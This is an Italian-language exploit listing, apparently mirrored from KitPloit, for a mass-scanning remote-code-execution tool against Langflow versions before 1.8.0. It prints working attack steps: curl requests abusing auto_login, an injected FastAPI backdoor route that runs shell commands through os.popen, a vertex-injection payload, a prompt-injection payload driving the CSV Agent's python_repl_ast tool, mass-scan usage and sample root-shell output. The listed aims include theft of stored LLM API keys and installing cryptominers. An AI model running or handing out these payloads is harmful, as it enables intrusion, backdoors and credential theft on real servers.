## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHINTHINK-CVE-2026-27966
   
### CVE-2026-27966 — Scanner per l'Esecuzione Remota di Codice su Langflow
#### Iniezione di Route Pre-Auth + Iniezione di Vertex → Esecuzione di Codice Python
* * *
## Panoramica
**CVE-2026-27966** è una vulnerabilità di esecuzione remota di codice pre-autenticazione con severità critica (CVSS 9.8) nelle versioni di **Langflow** precedenti alla 1.8.0. La vulnerabilità deriva da `allow_dangerous_code=True` hardcoded nel componente CSV Agent, che espone lo strumento `python_repl_ast` di LangChain a iniezioni di prompt non autenticate.
Inoltre, diversi endpoint API non dispongono di un'autenticazione adeguata, consentendo l'iniezione diretta di route e l'iniezione di vertex dei flow — anche su istanze in cui il CSV Agent non è configurato.
### Versioni Interessate
Versione Langflow| Stato
---|---
< 1.8.0| Vulnerabile
>= 1.8.0| Corretta
* * *
## Vettori di Attacco
Questo scanner testa tre distinti percorsi di sfruttamento:
### 1\. Iniezione di Route (bypass di auto_login)
root@kitploit:~
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
### 2\. Iniezione Diretta di Route (senza API key)
root@kitploit:~
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
### 3\. Iniezione di Vertex in Build (build senza autenticazione)
root@kitploit:~
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
* * *
## Meccanismo della VulnerabilitĂ
### Causa Principale
In `src/lfx/src/lfx/components/langchain_utilities/csv_agent.py`, il nodo CSV Agent contiene hardcoded `allow_dangerous_code=True`, che espone automaticamente lo strumento `python_repl_ast` di LangChain:
root@kitploit:~
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Ciò consente a qualsiasi prompt che raggiunge il CSV Agent di eseguire codice Python arbitrario tramite:
root@kitploit:~
Action: python_repl_ast
Action Input: __import__("os").system("command")
### Superficie API Non Autenticata
L'API REST di Langflow espone diversi endpoint senza autenticazione:
### Bypass dell'Autenticazione tramite auto_login
Sulle istanze in cui `auto_login` è abilitato (impostazione predefinita in molti deployment Docker), un attaccante ottiene una sessione valida e una API key:
root@kitploit:~
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
Con una API key valida, l'attaccante può usare `POST /api/v1/custom_component` per registrare una route FastAPI backdoor che persiste in memoria fino al riavvio del server:
root@kitploit:~
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
### Perché CVSS 9.8
* * *
## Installazione
root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
* * *
## Utilizzo
root@kitploit:~
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
### Opzioni
root@kitploit:~
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
* * *
## Prova di Concetto
### Rilevamento e Sfruttamento
root@kitploit:~
$ python cve_2026_27966.py -t target.com:7860 -v
root@kitploit:~
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
### Output della Scansione di Massa
root@kitploit:~
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
### Sfruttamento Manuale
**Passo 1 — Rilevamento di Langflow**
root@kitploit:~
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
**Passo 2 — Estrazione degli UUID dei flow**
root@kitploit:~
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
**Passo 3 — Iniezione del vertex backdoor**
root@kitploit:~
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\some-email@example.com(\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
**Passo 4 — Esecuzione del comando**
root@kitploit:~
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
* * *
## Impatto
Uno sfruttamento riuscito consente **l'esecuzione remota di codice come root** nel container Docker di Langflow. Da qui, un attaccante può:
* Estrarre le API key dal database SQLite di Langflow (OpenAI, Anthropic, Gemini, ecc.)
* Accedere ai database vettoriali connessi e ai servizi esterni
* Distribuire backdoor persistenti tramite componenti personalizzati
* Effettuare pivot verso reti interne
* Distribuire cryptominer o infrastruttura C2
* * *
## Dichiarazione di Non ResponsabilitĂ
> **SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI.**
>
> Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che verificano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità .
>
> L'accesso non autorizzato ai sistemi informatici è illegale e può violare:
>
> * Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
> * Indonesia: UU ITE Pasal 30 & 46
> * Unione Europea: Direttiva 2013/40/UE
> * Regno Unito: Computer Misuse Act 1990
>
>
> Gli autori non si assumono alcuna responsabilitĂ per un uso improprio. Utilizzando questo software, accetti la piena responsabilitĂ delle tue azioni.
* * *
## Riferimenti
Risorsa
---
* * *
Questo progetto non è affiliato con Langflow o Logspace.